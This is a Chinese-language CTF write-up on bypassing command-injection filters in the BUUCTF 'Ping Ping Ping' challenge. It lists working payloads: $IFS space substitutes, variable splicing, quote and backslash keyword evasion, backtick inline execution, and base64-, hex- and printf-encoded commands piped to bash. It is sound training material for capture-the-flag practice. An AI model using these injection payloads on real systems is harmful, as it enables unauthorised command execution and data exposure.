参考原文:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤_Tr0e的博客-CSDN博客文章目录前言CTF题目绕过姿势命令联合执行关键词的绕过内联执行绕过多种解法变量拼接内联执行Base64编码总结前言为了备战(划水)5 月份广东省的 “红帽杯” 网络安全竞赛,继续开始到 BUUCTF 平台练习 CTF 题目。在去年参加的第四届强网杯全国网络安全竞赛中,就遇到过命令执行漏洞绕过的题目 CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的过滤并读取了 flag 值:本文目的在于结合 BU_绕过空格过滤https://blog.csdn.net/weixin_39190897/article/details/116247765
使用内联执行可以将` `内的输出作为前面命令的输入
所以cat$IFS$1`ls`也相当于cat falg.php;cat index.php
通过变量赋值,再进行拼接,即可进行绕过
如:$a=fl;$b=ag;cat $a$b.php
payload1;a=ag.php;b=fl;cat$IFS$1$b$a
Linux下,绕过空格有
${IFS} cat${IFS}flag.txt
$IFS$1 cat$IFS$1flag.txt
$IFS cat$IFSflag.txt
< cat
<> cat<>flag.txt
{cat flag.php}
%20 cat%20flag.txt
%09 cat%09flag.txt
\ 反斜杠 ca\t fl\ag.txt
'' 单引号 cat fl''ag.txt
`` 反引号 cat$IFS$1`ls`
base64:
bash和sh是用来执行命令的,
echo YWJjZGU=|base64 -d //打印出来abcde
echo Y2F0IGZhbGcucGhw|base64 -d|bash //cat flag.php
echo Y2F0IGZhbGcucGhw|base64 -d|sh //cat flag.php
hex编码绕过:
echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php
unicode编码
$(printf “\154\163”) //ls
$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php
题目来源:BUUCTF [GXYCTF2019]Ping Ping Ping
拿到题目
我们用 ?ip=127.0.0.1;ls
我们再用命令 ?ip=127.0.0.1;cat flag.php
发现空格space被过滤掉了,我们可以尝试绕过空格
发现用${IFS}$命令也不行,那我们尝试用其他方法
发现过滤了{}符号symbol,于是我们用$IFS$命令
发现过滤了flag字符
那我们就尝试访问index.php
发现过滤了很多符号
如:
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"
那我们采用变量赋值的方法绕过
payload:?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看源码得到
其他方法:
内联执行绕过(将后面命令的输出作为前面命令的输入)
payload:?ip=127.0.0.1|cat$IFS$1`ls`
Base64编码绕过
payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo Y2F0IGZhbGcucGhw|base64 -d|sh
类似题目解题方法总结
cat fl* 用*匹配任意
cat fla* 用*匹配任意
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的